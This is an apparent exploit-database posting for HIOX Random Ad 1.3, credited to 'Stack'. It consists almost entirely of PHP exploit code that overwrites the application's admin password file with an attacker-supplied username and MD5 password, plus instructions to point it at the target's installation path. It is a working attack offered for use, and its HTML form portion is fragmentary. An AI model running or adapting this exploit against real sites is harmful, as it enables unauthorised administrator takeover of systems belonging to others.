HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit

<?php
@session_start();
?>

<?php
/*
HIOX Random Ad 1.3 Arbitrary Add Admin User Vulnerability
[~] Discoverd & exploited by Stack
[~]Greeatz All Freaind
[~]Special thnx to Str0ke
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
You need to change http://localhost/path/ with the link of script it's very importenet
*/
$creat = "true";
$iswrite = $_POST['createe'];
if($user=="" && $pass==""){
if($iswrite == "creatuser")
{
$usname = $_POST['usernam'];
$passwrd = md5($_POST['pword']);
if($usname != "" && $passwrd != ""){
$filee = "http://localhost/path/admin/passwo.php";
$file1 = file($filee);
$file = fopen($filee,'w');
fwrite($file, "<?php \n");
fwrite($file, "$");
fwrite($file, "user=\"$usname\";\n");
fwrite($file, "$");
fwrite($file, "pass=\"$passwrd\";");
fwrite($file, "\n?>");
fclose($file);
$creat = "false";
echo "

New User Created

Please Wait You will be Redirected to Login Page

";
}
else{
echo "
Enter correct Username or Password
";
}
}
if($creat == "true"){
?>

style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
Create New User

>

User Name

Password

<?php
}
}else{
echo "
User Already Exist
";
}
?>